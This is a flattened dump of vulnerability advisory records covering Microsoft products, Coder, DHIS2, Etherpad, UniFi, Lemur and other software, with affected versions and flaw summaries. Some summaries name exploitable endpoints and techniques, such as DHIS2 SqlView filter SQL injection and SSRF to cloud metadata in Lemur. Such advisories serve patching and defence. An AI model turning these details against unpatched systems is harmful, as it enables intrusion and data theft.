platforms:
ARM64-based Systems
x64-based Systems

product: Windows 11 Version 24H2

vendor: Microsoft

status: affected

version_type: custom

product: Windows 11 Version 25H2

product: Windows 11 version 26H1

product: Windows Server 2025

product: Windows Server 2025 (Server Core installation)

ecosystem: windows/system

metric_type: Secondary

severity: medium

part: o

vendor: microsoft

quality: metadata-backed

recipe_kind: composed

status: Analyzed

summary: Use after free in Windows USB Print Driver allows an unauthorized attacker to elevate privileges with a physical attack.


platforms:
32-bit Systems
x64-based Systems

product: Windows 10 Version 1607

product: Windows 10 Version 1809

product: Windows Server 2016

product: Windows Server 2016 (Server Core installation)

product: Windows Server 2019

product: Windows Server 2019 (Server Core installation)

product: Windows Server 2022

severity: high

summary: Improper certificate validation in Windows Active Directory allows an authorized attacker to elevate privileges locally.


product: Microsoft SQL Server 2016 Service Pack 3 (GDR)

product: Microsoft SQL Server 2016 Service Pack 3 Azure Connect Feature Pack

product: Microsoft SQL Server 2017 (CU 31)

product: Microsoft SQL Server 2017 (GDR)

product: Microsoft SQL Server 2019 (CU 32)

product: Microsoft SQL Server 2019 (GDR)

product: Microsoft SQL Server 2022 (GDR)

product: Microsoft SQL Server 2022 for x64-based Systems (CU 25)

product: Microsoft SQL Server 2025 (CU 6)

product: Microsoft SQL Server 2025 for x64-based Systems (GDR)

metric_type: Primary

part: a

status: Modified

summary: External control of file name or path in SQL Server allows an authorized attacker to elevate privileges over a network.


product: Windows 10 Version 1607

platforms:
32-bit Systems
ARM64-based Systems
x64-based Systems

product: Windows 10 Version 21H2

product: Windows 10 Version 22H2

product: Windows 11 Version 24H2

product: Windows 11 Version 25H2

product: Windows 11 version 26H1

product: Windows Server 2012

product: Windows Server 2012 (Server Core installation)

product: Windows Server 2012 R2

product: Windows Server 2012 R2 (Server Core installation)

summary: Use of uninitialized resource in Windows RDP allows an unauthorized attacker to disclose information over a network.


product: Windows 10 Version 1809

product: Windows Server 2016

summary: Double free in Microsoft Printer Drivers allows an authorized attacker to elevate privileges locally.


product: Microsoft Exchange Server 2016 Cumulative Update 23

product: Microsoft Exchange Server 2019 Cumulative Update 14

product: Microsoft Exchange Server 2019 Cumulative Update 15

product: Microsoft Exchange Server Subscription Edition RTM

summary: Heap-based buffer overflow in Microsoft Exchange Server allows an authorized attacker to execute code over a network.


archetype: generic

summary: Insufficient granularity of access control in Microsoft Exchange Server allows an authorized attacker to elevate privileges locally.


severity: critical

summary: Improper neutralization of input during web page generation ('cross-site scripting') in Microsoft Exchange Server allows an unauthorized attacker to perform spoofing over a network.

title: Microsoft Exchange Server security vulnerability


summary: Deserialization of untrusted data in Microsoft Exchange Server allows an authorized attacker to elevate privileges locally.


product: Minecraft Bedrock Dedicated Server

summary: Heap-based buffer overflow in Minecraft Bedrock Dedicated Server allows an unauthorized attacker to execute code over a network.


product: Microsoft Malware Protection Engine

summary: Integer underflow (wrap or wraparound) in Microsoft Defender allows an unauthorized attacker to execute code locally.


summary: Integer overflow or wraparound in Microsoft Defender allows an unauthorized attacker to execute code locally.


product: Windows Remote Help

status: Awaiting Analysis

summary: Uncontrolled search path element in Windows Remote Help Defense allows an authorized attacker to perform spoofing locally.


summary: Improper access control in Windows Remote Help Defense allows an authorized attacker to elevate privileges locally.


summary: Uncontrolled search path element in Windows Remote Help allows an authorized attacker to deny service locally.


product: Microsoft SharePoint Enterprise Server 2016

product: Microsoft SharePoint Server 2019

product: Microsoft SharePoint Server Subscription Edition

summary: Improper neutralization of input during web page generation ('cross-site scripting') in Microsoft Office SharePoint allows an authorized attacker to perform spoofing over a network.

title: Microsoft Sharepoint Server security vulnerability


product: Microsoft 365 Apps for Enterprise

product: Microsoft Office 2016

product: Microsoft Office 2019

product: Microsoft Office LTSC 2021

product: Microsoft Office LTSC 2024

summary: Heap-based buffer overflow in Microsoft Office allows an unauthorized attacker to execute code locally.


product: Microsoft Office 365 for Mac

product: Microsoft Office LTSC for Mac 2021

product: Microsoft Office LTSC for Mac 2024

summary: Use after free in Microsoft Office allows an unauthorized attacker to execute code locally.


summary: Access of resource using incompatible type ('type confusion') in Microsoft Office allows an unauthorized attacker to execute code locally.


summary: Out-of-bounds read in Microsoft Office allows an unauthorized attacker to disclose information locally.


product: Microsoft Excel 2016

product: Office Online Server

product: excel

summary: Access of resource using incompatible type ('type confusion') in Microsoft Office Excel allows an unauthorized attacker to execute code locally.

title: Microsoft 365 Apps security vulnerability


summary: Integer overflow or wraparound in Microsoft Office allows an unauthorized attacker to disclose information locally.


title: Out-of-bounds read in Microsoft Office allows an unauthorized attacker to disclose information locally


summary: Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code locally.


summary: Out-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to execute code locally.


product: Microsoft Word 2016

summary: Use after free in Microsoft Office Word allows an unauthorized attacker to execute code locally.


summary: Integer overflow or wraparound in Microsoft Office Word allows an unauthorized attacker to execute code locally.


severity: low


summary: Buffer over-read in Microsoft Office Excel allows an unauthorized attacker to execute code locally.


title: Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code locally


summary: Stack-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code locally.


summary: Integer underflow (wrap or wraparound) in Microsoft Office Excel allows an unauthorized attacker to execute code locally.


known_ransomware_campaign_use: Unknown

notes: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55040 ; BOD 26-04: https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk ; Forensics Triage Requirements: https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk ; https://nvd.nist.gov/vuln/detail/CVE-2026-55040

product: SharePoint

required_action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.

vendor_project: Microsoft

vulnerability_name: Microsoft SharePoint Weak Authentication Vulnerability

summary: Weak authentication in Microsoft Office SharePoint allows an unauthorized attacker to bypass a security feature over a network.


summary: Use of uninitialized resource in Microsoft Office allows an unauthorized attacker to disclose information locally.


product: Microsoft PowerPoint 2016

product: powerpoint

summary: Heap-based buffer overflow in Microsoft Office PowerPoint allows an unauthorized attacker to execute code locally.


title: Out-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to execute code locally


product: Microsoft SharePoint Enterprise Server 2016

product: Microsoft SharePoint Server 2019

summary: Out-of-bounds read in Microsoft Office allows an unauthorized attacker to execute code locally.


product: Microsoft 365 Apps for Enterprise

summary: Out-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to disclose information locally.


summary: Integer overflow or wraparound in Microsoft Office Excel allows an unauthorized attacker to execute code locally.


product: Microsoft Office 2016

summary: Heap-based buffer overflow in Microsoft Office allows an unauthorized attacker to execute code locally.


product: Microsoft Office 2019

product: Microsoft SharePoint Server Subscription Edition

summary: Out-of-bounds read in Microsoft Office Word allows an unauthorized attacker to disclose information locally.


archetype: ssrf

summary: Server-side request forgery (ssrf) in Microsoft Office SharePoint allows an authorized attacker to disclose information over a network.


summary: Missing authorization in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.


product: Microsoft Office LTSC 2021

product: Microsoft Office LTSC 2024

product: office

summary: Out-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to disclose information over a network.


product: Microsoft Office 365 for Mac

product: Microsoft Office LTSC for Mac 2021

product: Microsoft Office LTSC for Mac 2024

title: Stack-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code locally


title: Heap-based buffer overflow in Microsoft Office allows an unauthorized attacker to execute code locally


summary: Integer overflow or wraparound in Microsoft Office allows an unauthorized attacker to disclose information locally.


product: kestra

vendor: kestra-io

ecosystem: software/application

author: Codex

description: CVE-2026-55069 is Kestra leftover. Live GHAD is 404. Repo first_patched is null. NVD CPE excludes 1.3.24, not GHAD.

maturity: development

model: GPT 5.5 Extra High reasoning

title: CVE-2026-55069: Kestra leftover dump, live GHAD 404

vendor: kestra

recipe_kind: markdown-draft

summary: Kestra is an open-source, event-driven orchestration platform. Prior to 1.3.24, this vulnerability exists in the BasicAuth authentication component of the Kestra OSS workflow orchestration platform. An attacker who gains read access to the PostgreSQL database can exploit SHA-512's high computation speed to recover the administrator password offline. In Kubernetes deployments, a successful crack further enables reading of the cluster ServiceAccount Token and all K8s Secrets, achieving vertical privilege escalation. This vulnerability is fixed in 1.3.24.


product: coder

vendor: coder

summary: Coder allows organizations to provision remote development environments via Terraform. Prior to versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2, two flaws in Coder's OIDC login chained into account takeover. Email-based user matching fell back to linking by email without checking for an existing link to a different IdP subject and the `email_verified` claim was only enforced when present as a boolean `false` so an absent or non-boolean claim was treated as verified. The fix in versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2 restricts the email fallback to first-time and legacy linking and defaults `email_verified` to false when the claim is absent or of an unexpected type. As a workaround, configure the OIDC provider to disallow self-registration or to require email verification before issuing tokens.


summary: Coder allows organizations to provision remote development environments via Terraform. Prior to versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2, Coder's OIDC callback checked `email_verified` with a direct Go `bool` type assertion. When an IdP returned the claim as a non-boolean (for example the string `"false"`) or omitted it, the assertion failed open and the email was treated as verified. Combined with an unconditional email-based account fallback, this enabled account takeover. The fix in versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2 coerces `email_verified` across bool, string and numeric types (fail-closed) and blocks the email fallback when the matched user already has a different linked IdP subject. As a workaround, ensure the IdP returns `email_verified` as a native JSON boolean. The email-fallback linking issue has no configuration workaround; upgrading is required.


description: CVE-2026-55077 lets a Coder user-admin reset the owner password. Upgrade to 2.34.2+, 2.33.8+, 2.32.7+, or 2.29.17+.

title: CVE-2026-55077: Coder User-Admin Owner Reset

summary: Coder allows organizations to provision remote development environments via Terraform. Prior to versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2, the `PUT /api/v2/users/{user}/password` endpoint authorized only `ActionUpdatePersonal` and did not prevent a `user-admin` from resetting an `owner` account's password. It also did not require the current password when an admin reset another user's password. Exploitation requires the privileged `user-admin` role so practical risk is limited to deployments that grant `user-admin` to less trusted operators. The fix in versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2 prevents non-owner users from resetting the password of an account that holds the `owner` role. As a workaround, restrict the `user-admin` role to trusted administrators.


summary: Coder allows organizations to provision remote development environments via Terraform. Starting in version 2.17.0 and prior to versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2, `POST /api/v2/files` converts zip uploads to tar in memory via `CreateTarFromZip`, which enforced a per-entry size limit but no aggregate limit on total decompressed output, writing to an unbounded in-memory buffer. Exploitation requires authenticated file-upload access and the impact is limited to availability (denial of service). The fix in versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2 adds a metadata preflight check that sums projected entry sizes and a streaming writer that enforces the aggregate limit during decompression. As a workaround, restrict file-upload permissions to trusted users or place a reverse proxy with request-body size limits in front of `coderd`.


summary: Coder allows organizations to provision remote development environments via Terraform. Starting in version 2.24.0 and prior to versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2, `NewDataBuilder` in `provisionersdk/proto/dataupload.go` allocated a byte slice using the client-supplied `FileSize` from a `DataUpload` message without an upper-bound check. Although the DRPC wire limit is 4 MiB, the `FileSize` value itself was unconstrained. The fix in versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2 validates `FileSize` against an upper bound (`MaxFileSize = 100 MiB`) before allocation. As a workaround, restrict access to the provisioner daemon serve endpoint to trusted provisioner daemon service accounts.


ecosystem: javascript/npm

status: Deferred

summary: DHIS2 is a flexible information system for data capture, management, validation, analytics and visualization. The DHIS2 OpenAPI HTML endpoint reflected values from the `scope` query parameter into the generated HTML document without sufficient sanitization. A crafted `scope` value could be rendered as active HTML or JavaScript in the OpenAPI documentation page. An attacker able to get a user to open a crafted OpenAPI HTML URL could execute JavaScript in that user's browser in the DHIS2 origin. Affected versions: DHIS2 2.42 and 2.43 before the 2026-06-09 security patch releases, and the development branch for DHIS2 2.44 before the fix was merged. Patched in 2.42.5.1, 2.43.0.1, the 2.42 and 2.43 line branches, and the 2.44 development branch.


summary: DHIS2 is a flexible information system for data capture, management, validation, analytics and visualization. DHIS2 SQL View data endpoints allowed authenticated users with SQL View access to provide crafted filter values that were interpolated into generated SQL. An authenticated user with access to SQL View execution could manipulate SQL generated for SQL View filters and potentially access data outside the intended SQL View result set. This is distinct from CVE-2026-55084, which tracks the related SQL View filter column-name injection. Known affected release lines for this advisory: DHIS2 2.37, 2.38, and 2.39 before the 2026-06-09 EOS security updates. Patched by the 2026-06-09 EOS security updates for 2.37, 2.38, and 2.39. The same value-slot hardening was already present on later supported branches through DHIS2-20174 / PR #22253.


summary: DHIS2 is a flexible information system for data capture, management, validation, analytics and visualization. A SQL injection vulnerability was identified in the SqlView API endpoint of the DHIS2 application in the `filter` parameter used by the `/api/sqlViews/{viewId}/data.json` endpoint. An authenticated user with access to a SqlView can inject arbitrary SQL queries inside the `filter` parameter by abusing an expression executed by PostgreSQL and its output is reflected inside the application error message. This behavior enables attackers to extract arbitrary database content using error-based SQL injection. Affected versions include: 2.37, 2.38, 2.39, 2.40.x before 2.40.11.1/2.40.12, 2.41.x before 2.41.8.2, 2.42.x before 2.42.5.1, 2.43.0 before 2.43.0.1, 2.44 development branch before PR #24162 Patched versions include: 2.37-EOS (2026-06-09), 2.38-EOS (2026-06-09), 2.39-EOS (2026-06-09), 2.40.11.1, 2.40.12, 2.41.8.2, 2.42.5.1, 2.43.0.1, 2.44 development branch after PR #24162


product: etherpad

vendor: ether

status: Received

summary: Etherpad is a real-time collaborative editor. Prior to 3.3.1, result.appendSpan in src/static/js/domline.ts interpolates the start attribute of a numbered list directly into an unquoted ol start attribute before assigning the generated markup to node.innerHTML. ImportEtherpad.setPadRaw in src/node/utils/ImportEtherpad.ts accepts attacker-controlled attribute-pool values from a crafted .etherpad import, including list:number1 and a malicious start value. Any user with write access to a pad can store markup that executes as cross-site scripting when another user opens the pad or /timeslider, including when an administrator views the pad. This issue is fixed in version 3.3.1.


summary: Etherpad is a real-time collaborative editor. Prior to 3.1.0, src/node/handler/ImportHandler.ts and src/node/handler/ExportHandler.ts derive temporary filenames from Math.random() and place them in os.tmpdir(). On a host with a shared world-writable temporary directory, a local unprivileged attacker who predicts a filename can precreate a symbolic link to a file writable by the Etherpad process. Subsequent import or export operations can follow the link through fs.writeFile, fs.rename, or document-conversion output and overwrite the target with partially attacker-controlled content. This issue is fixed in version 3.1.0.


summary: Etherpad is a real-time collaborative editor. From 2.1.0 until 3.1.0, Etherpad uses the attacker-controlled x-proxy-path request header in src/node/hooks/express/admin.ts when substituting paths into HTML, JavaScript, and CSS under /admin without sanitization, Vary: x-proxy-path, or Cache-Control: private, no-store. A shared proxy or CDN can cache the resulting response and serve attacker-injected script to an administrator. In src/node/hooks/express/specialpages.ts, version 3.0.0 also accepts a protocol-relative x-proxy-path value when constructing the /p/:pad/timeslider redirect, allowing redirection to an attacker-controlled host. The issues are exploitable when the deployment permits client-supplied x-proxy-path headers to reach Etherpad. This issue is fixed in version 3.1.0.


summary: Etherpad is a real-time collaborative editor. From 2.6.0 until 3.1.0, Etherpad's src/node/hooks/express/tokenTransfer.ts uses POST /tokenTransfer to store an author token for transfer between browsers and exposes it through GET /tokenTransfer/{uuid}. Although the record includes createdAt, the transfer has no expiration check, is not removed after successful redemption, and is returned by res.send(tokenData), including the raw author token. An unauthenticated attacker who obtains a transfer UUID can repeatedly redeem it, receive fresh author cookies, read the cleartext token, and impersonate the originating author for pad read and write operations. This issue is fixed in version 3.1.0.


summary: Etherpad is a real-time collaborative editor. From 2.1.0 until 3.1.0, Etherpad's src/node/handler/APIHandler.ts authorizes requests to /api/2/* in the authorization_code OAuth path by using requiredClaims with the admin claim. This check requires only that the claim exists, while src/node/security/OAuth2Provider.ts issues admin: false for configured non-admin users. A non-admin user with a valid signed token can therefore invoke administrative functions including setHTML, setText, appendText, deletePad, copyPad, movePad, restoreRevision, anonymizeAuthor, listAllPads, and listAuthorsOfPad, allowing disclosure, modification, or deletion of pads across the instance. This issue is fixed in version 3.1.0.


summary: Etherpad is a real-time collaborative editor. Prior to 3.3.0, getHTMLFromAtext in src/node/utils/ExportHtml.ts interpolates values from the exportHtmlAdditionalTagsWithData plugin hook into span data attributes without HTML attribute escaping. A pad editor can place an attacker-controlled value into the attribute pool through moveOpsToNewPool and AttributePool.putAttrib. When a bundled plugin such as ep_font_color or ep_font_size registers the hook, opening the resulting HTML export causes the value to execute as stored cross-site scripting in the Etherpad origin. This issue is fixed in version 3.3.0.


product: trivy

vendor: aquasecurity

description: CVE-2026-55092 is Trivy leftover. Live GHAD is 404. Repo first_patched is null. NVD CPE excludes 0.71.1, not GHAD.

title: CVE-2026-55092: Trivy leftover dump, live GHAD 404

vendor: aquasec

summary: Trivy is a security scanner. Prior to 0.71.1, when Trivy downloads an OCI artifact, it uses the org.opencontainers.image.title annotation from the artifact manifest as the destination filename without validation. An attacker who can make Trivy fetch an attacker-controlled artifact can supply a crafted annotation that resolves to a path outside the intended destination, causing Trivy to write the layer content to an arbitrary location on the host filesystem. This vulnerability is fixed in 0.71.1.

title: Trivy is a security scanner


product: openproject

vendor: opf

summary: OpenProject is open-source, web-based project management software. In version 17.5.1 and earlier, an authenticated non-admin project member can request the inplace-edit dialog for a raw custom_field_ project attribute. The dialog path resolves the project custom field by its raw identifier without enforcing the normal admin_only visibility scope and renders the stored custom-field comment in read-only mode. This discloses hidden comment text but does not disclose the custom-field value or permit writes or mutation. This issue is reported as fixed in version 17.6.0.


product: hashi-vault-js

vendor: kyndryl-open-source

summary: hashi-vault-js is a Node.js module for interacting with the HashiCorp Vault API. Prior to 0.5.2, src/Vault.js concatenates unencoded identifier values including name, username, group, role, and version into Vault request paths and query strings instead of using encodeURIComponent() and URLSearchParams, allowing path traversal and query parameter injection. This issue is fixed in version 0.5.2.


product: authentik

vendor: goauthentik

summary: authentik is an open-source identity provider. Prior to 2026.2.6 and 2026.5.5, a diagnostic action on the LDAP Source API does not enforce the object-level read-authorization filter used by the rest of the API. Any party able to reach the API, including an unauthenticated client, can invoke the diagnostic action against a configured LDAP Source. The server then connects to the upstream directory using the source's configured bind credentials and returns a bounded set of directory entries. The response exposes the distinguished names of those entries and the names of the attributes present on them, revealing directory structure, naming conventions, and the existence of specific accounts and groups, but not attribute values. Deployments without a configured LDAP Source are not affected. This issue is fixed in versions 2026.2.6 and 2026.5.5.


default_status: unaffected

product: UniFi OS Server

vendor: Ubiquiti Inc

version_type: semver

product: Dream Machines

product: Enterprise Fortress Gateway

product: Dream Wall

product: Dream Routers

product: Express 7

product: Cloud Keys

product: Network Video Recorders

product: Enterprise Video Recorders

product: Cloud Gateways

product: Network Attached Storage

product: Enterprise Firewall Core

vendor: ui

status: Undergoing Analysis

summary: A malicious actor who lures an authenticated user to a malicious page could exploit a Cross-Origin Resource Sharing (CORS) misconfiguration found in UniFi OS to trigger actions in UniFi OS using that user's session.

title: Ui Unifi Os Server security vulnerability


product: UniFi Protect Floodlight

ecosystem: operating-system

summary: A malicious actor with access to the network could exploit a Path Traversal vulnerability found in UniFi Protect Floodlight devices to access files on the UniFi Protect Floodlight.

title: Ui Protect Floodlight Firmware security vulnerability


description: CVE-2026-55112 is UniFi OS with Protect improper access control privilege escalation. GHSA names no version range and no floor. Do not invent a UniFi OS tag.

title: CVE-2026-55112: UniFi OS Protect Privilege, No Named Floor

summary: A malicious actor with access to the network and low privileges and under certain conditions could exploit an Improper Access Control vulnerability found in UniFi OS with UniFi Protect Application to escalate privileges on the host device.

title: Ui Unifi Dream Machine Pro Firmware security vulnerability


product: UniFi Talk Application

summary: A malicious actor with access to the network could exploit a Server-Side Request Forgery (SSRF) vulnerability found in UniFi Talk Application to execute a Denial of Service (DoS) attack and bypass authentication in certain UniFi Talk API endpoints.

title: Ui Unifi Talk Application security vulnerability


product: UniFi Network Application

summary: A malicious actor with access to the network and low privileges could exploit an Improper Access Control vulnerability found in UniFi Network Application to escalate privileges within the UniFi Network Application.

title: Ui Unifi Network Application security vulnerability


product: UniFi Protect Application

description: CVE-2026-55115 is UniFi Protect Application SSRF privilege escalation on the host. GHSA names no version range and no floor. Do not invent a UniFi OS tag.

title: CVE-2026-55115: UniFi Protect Host SSRF, No Named Floor

summary: A malicious actor with access to the network and low privileges could exploit a Server-Side Request Forgery (SSRF) in UniFi Protect Application to escalate privileges on the host device.

title: Ui Unifi Protect security vulnerability


description: CVE-2026-55116 is UniFi OS improper access control unauthorized device change. GHSA names no version range and no floor. Do not invent a UniFi OS tag.

title: CVE-2026-55116: UniFi OS Unauthorized Change, No Named Floor

summary: A malicious actor with access to the network and under certain network configurations could exploit an Improper Access Control vulnerability found in certain devices running UniFi OS to make unauthorized changes to such UniFi OS devices.

title: Ui Unifi Connect security vulnerability


product: UniFi Access Application

summary: A malicious actor with access to the network could exploit a Path Traversal vulnerability found in UniFi Access Application to access files on the host device.

title: Ui Unifi Access security vulnerability


summary: A malicious actor with access to the network,low privileges and under certain conditions could exploit an Improper Access Control vulnerability found in UniFi Network Application to escalate privileges within the UniFi Network Application.


summary: A malicious actor with access to the network and low privileges could exploit an Improper Access Control vulnerability found in UniFi Talk Application to escalate privileges within the UniFi Talk Application.


product: Microsoft 365 Apps for Enterprise

product: Microsoft Office 2019

product: Microsoft Office 365 for Mac

product: Microsoft Office LTSC 2021

product: Microsoft Office LTSC 2024

product: Microsoft Office LTSC for Mac 2021

product: Microsoft Office LTSC for Mac 2024

product: Microsoft PowerPoint 2016

product: powerpoint

summary: Heap-based buffer overflow in Microsoft Office PowerPoint allows an unauthorized attacker to execute code locally.


product: Microsoft Office 2016

product: Microsoft SharePoint Enterprise Server 2016

product: Microsoft SharePoint Server 2019

product: Microsoft SharePoint Server Subscription Edition

summary: Out-of-bounds read in Microsoft Office allows an unauthorized attacker to disclose information locally.


product: Microsoft Excel 2016

product: Office Online Server

product: excel

summary: Out-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to disclose information locally.


title: Heap-based buffer overflow in Microsoft Office PowerPoint allows an unauthorized attacker to execute code locally


product: Microsoft Word 2016

summary: Improper validation of specified type of input in Microsoft Office Word allows an unauthorized attacker to disclose information locally.


product: Microsoft 365 Apps for Enterprise

summary: Heap-based buffer overflow in Microsoft Office allows an unauthorized attacker to execute code locally.


summary: Improper neutralization of input during web page generation ('cross-site scripting') in Microsoft Office SharePoint allows an authorized attacker to perform spoofing over a network.

title: Microsoft Sharepoint Server security vulnerability


product: Microsoft Office 2019

summary: Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code locally.


product: Microsoft Office 365 for Mac

summary: Use after free in Microsoft Office Word allows an unauthorized attacker to execute code locally.


product: Microsoft Office LTSC 2021


product: Microsoft Office LTSC 2024

product: word

title: Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code locally


product: Microsoft Office LTSC for Mac 2021

product: Microsoft Office LTSC for Mac 2024

summary: Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code locally.


summary: Double free in Microsoft Office Word allows an unauthorized attacker to execute code locally.


summary: Heap-based buffer overflow in Microsoft Office OneNote allows an unauthorized attacker to execute code locally.


summary: Stack-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code locally.


summary: Untrusted pointer dereference in Microsoft Office Excel allows an unauthorized attacker to execute code locally.


title: Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code locally


summary: Untrusted pointer dereference in Microsoft Office Excel allows an unauthorized attacker to disclose information locally.


title: Out-of-bounds read in Microsoft Office allows an unauthorized attacker to disclose information locally


summary: Stack-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code locally.


summary: Numeric truncation error in Microsoft Office Word allows an unauthorized attacker to disclose information locally.


product: Windows 11 Version 24H2

product: Windows 11 Version 25H2

product: Windows 11 version 26H1

product: Windows Server 2022

product: Windows Server 2025

product: Windows Server 2025 (Server Core installation)

summary: Missing cryptographic step in Windows CryptoAPI allows an authorized attacker to perform tampering locally.


product: Microsoft Copilot

product: copilot

summary: Improper neutralization of special elements used in a command ('command injection') in Outlook Copilot allows an authorized attacker to perform tampering over a network.

title: Microsoft Copilot security vulnerability


product: mchange-commons-java

vendor: swaldman

ecosystem: java/maven

summary: mchange-commons-java is a Java library of shared utility classes used by mchange projects like the c3p0 connection pool. Prior to version 0.6.0, its JNDI ObjectFactory implementation (com.mchange.v2.naming.JavaBeanObjectFactory) will construct objects of arbitrary classes and initialize "JavaBean"-style properties, which for certain classes enables JNDI injection and "deserialization gadgets." Such initialization is unsafe for some classes: for example, setting the contentType property of a Swing JEditorPane to text/html and its text property to HTML containing a stylesheet <link> will provoke an HTTP GET on an arbitrary URL, potentially from within a trusted security domain. The problem is aggravated by the library's ReferenceIndirector, through which malicious JNDI Reference objects can be smuggled in for dereferencing wherever an application reads a Java-serialized object. This has been resolved in version 0.6.0.


product: lemur

vendor: Netflix

summary: Lemur manages TLS certificate creation. Prior to 1.9.2, lemur/certificates/verify.py accepted CRL Distribution Point and OCSP responder URLs from uploaded certificate extensions and used them in crl_verify and ocsp_verify without adequate destination validation. An authenticated operator could submit a certificate through POST /api/1/certificates/upload and cause verify_string to reach loopback, RFC1918, link-local, or instance-metadata destinations such as 169.254.169.254. The requests could probe internal services and create side effects from the Lemur host network position. The CRL path also used an unbounded cache, allowing attacker-controlled entries to persist and consume memory. The fix validates destinations, supports explicit trusted-host allowlists, and bounds the CRL cache. This issue is fixed in version 1.9.2.

title: Lemur manages TLS certificate creation


summary: Lemur manages TLS certificate creation. Prior to 1.9.2, PUT /api/1/roles/ in lemur/roles/views.py:298 authorized updates with RoleMemberPermission(role_id), which allowed either an administrator or any existing member of the target role. The handler passed data["users"] and data["name"] to service.update, allowing a non-admin member to add or remove other users and rename the role. This enabled lateral privilege grants within roles that control certificate and authority access and could deny access by removing legitimate members. The DELETE handler already required admin_permission, confirming that the weaker PUT authorization was inconsistent. The fix applies the same administrator-only requirement to the PUT handler. This issue is fixed in version 1.9.2.

title: Lemur manages TLS certificate creation


summary: Lemur manages TLS certificate creation. Prior to 1.9.2, lemur.users.service.update assigned a replacement password directly to users.password, while lemur/users/models.py registered User.hash_password only for the before_insert event. Because no before_update listener ran, administrator-initiated password changes through PUT /api/1/users/ were committed as plaintext. The affected user could no longer authenticate normally because bcrypt verification received an unhashed value. A database, backup, replica, query-log, or administrative read compromise exposed immediately usable credentials without offline cracking. The fix registers hashing for before_update and avoids rehashing values that already have a bcrypt prefix. This issue is fixed in version 1.9.2.

title: Lemur manages TLS certificate creation


summary: Lemur manages TLS certificate creation. Prior to 1.9.2, the JWT verifier in lemur/auth/service.py:130-137 used fetch_token_header to read header_data["alg"] from an unverified token and passed that attacker-controlled value to decode_with_multiple_secrets. PyJWT 2.x rejects alg=none with the configured key, so the flaw is a defense-in-depth gap rather than a direct authentication bypass in the shipped configuration. The unpinned algorithm can become exploitable after an asymmetric-signing migration through algorithm confusion, and it weakens algorithm-based anomaly detection because the token chooses the recorded value. A separate disclosure of LEMUR_TOKEN_SECRET would also permit forged HS256 tokens, although that disclosure is an independent prerequisite. The fix introduces the server-controlled LEMUR_TOKEN_ALGORITHMS allowlist and defaults it to HS256. This issue is fixed in version 1.9.2.

title: Lemur manages TLS certificate creation


description: Critical Lemur flaw where an authenticated user can combine ACME URL SSRF with creator-based authorization gaps to reach AWS IAM and PKI material. Upgrade to 1.9.2+ and harden ACME endpoint validation plus certificate ownership checks.

title: CVE-2026-55166 - Lemur ACME SSRF and creator-equality IDOR

summary: Lemur manages TLS certificate creation. Prior to 1.9.2, authenticated users could influence an ACME authority acme_url without an effective server-side destination restriction and trigger AcmeHandler.setup_acme_client to make backend requests. An attacker could target cloud instance metadata or internal services from Lemur network context, potentially obtaining credentials available to the host. The advisory also identifies creator-equality authorization behavior that could preserve access to certificate key material after ownership or role changes, with insufficient export_private_key audit context to distinguish that access path. Together, the acme_url server-side request forgery and authorization weakness could expose cloud credentials and long-lived PKI private-key access. The fix adds ACME_DIRECTORY_HOST_ALLOWLIST validation and enriches key-export audit events with creator and current-owner context. This issue is fixed in version 1.9.2.

title: Lemur manages TLS certificate creation


product: runtipi

vendor: runtipi

summary: Runtipi is a personal homeserver orchestrator. In 4.10.0 and earlier, Runtipi accepts symbolic links from an attacker-controlled backup archive and copies them into live application paths during the backup restore flow. An authenticated attacker can plant user-config/app.env as a symlink to an arbitrary reachable path and then send PUT /api/user-config/demoapp3:_user with attacker-controlled appEnv content. FilesystemService.writeTextFile() follows the planted link, allowing content to be written outside the intended restore and user-config directory boundary with Runtipi process permissions. This issue is fixed in version 4.10.1.


product: openfga

vendor: openfga

summary: OpenFGA is an authorization/permission engine built for developers. Prior to 1.18.0, when MySQL is being used as the datastore and authorization decisions rely on case-sensitive user strings, the tuple, changelog, and authorization_model identifier columns can compare case-distinct values such as user:Alice and user:alice as equivalent, causing two distinct check requests to return the same response. This issue is fixed in 1.18.0.


product: AVideo

vendor: WWBN

